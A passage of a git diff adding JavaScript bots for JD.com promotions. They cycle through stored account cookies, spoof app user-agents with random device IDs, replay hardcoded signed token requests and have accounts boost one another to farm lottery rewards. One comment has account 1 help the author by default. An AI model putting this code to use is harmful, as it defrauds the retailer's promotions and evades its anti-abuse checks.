$.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_qqxing.js b/jd_qqxing.js new file mode 100644 index 0000000..2290bb8 --- /dev/null +++ b/jd_qqxing.js @@ -0,0 +1,663 @@ +/* +星系牧场 +活动入口:QQ星儿童牛奶京东自营旗舰店->品牌会员->星系牧场 +每次都要手动打开才能跑 不知道啥问题 +号1默认给我助力,后续接龙 2给1 3给2 + 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← +[task_local] +#星系牧场 +1 0-23/2 * * * jd_qqxing.js +*/ +const $ = new Env('QQ星系牧场'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "5e81094ee1d640b2996883b48d0c410a" + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i 星系牧场\n\n吹水群:https://t.me/wenmouxx`); +// } else { +// $.msg($.name, "", '星系牧场' + message) +// } +// } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +// 更新cookie + +function updateCookie (resp) { + if (!oc(() => resp.headers['set-cookie'])){ + return + } + let obj = {} + let cookieobj = {} + let cookietemp = cookie.split(';') + for (let v of cookietemp) { + const tt2 = v.split('=') + obj[tt2[0]] = v.replace(tt2[0] + '=', '') + } + for (let ck of resp['headers']['set-cookie']) { + const tt = ck.split(";")[0] + const tt2 = tt.split('=') + obj[tt2[0]] = tt.replace(tt2[0] + '=', '') + } + const newObj = { + ...cookieobj, + ...obj, + } + cookie = '' + for (let key in newObj) { + key && (cookie = cookie + `${key}=${newObj[key]};`) + } + // console.log(cookie, 'jdCookie') +} +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: '&body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=73af724a6be5f3cb89bf934dfcde647f&st=1624887881842&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + // let body = `body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&lang=zh_CN&scope=11&sv=111` + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + // console.log(data, 'data') + $.isvToken = data['tokenKey'] + cookie += `IsvToken=${data['tokenKey']}` + // console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=ede16c356f954b5e48b259f94cf02e10&st=1624887883419&sv=120', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + $.token2 = data['token'] + // console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401`), (err, resp, data) => { + updateCookie(resp) + // console.log(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // if ($.isNode()) + // for (let ck of resp['headers']['set-cookie']) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // else { + // for (let ck of resp['headers']['Set-Cookie'].split(',')) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.shopId + // console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + // console.log(data) + console.log(`欢迎回来~ ${$.nickname}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", 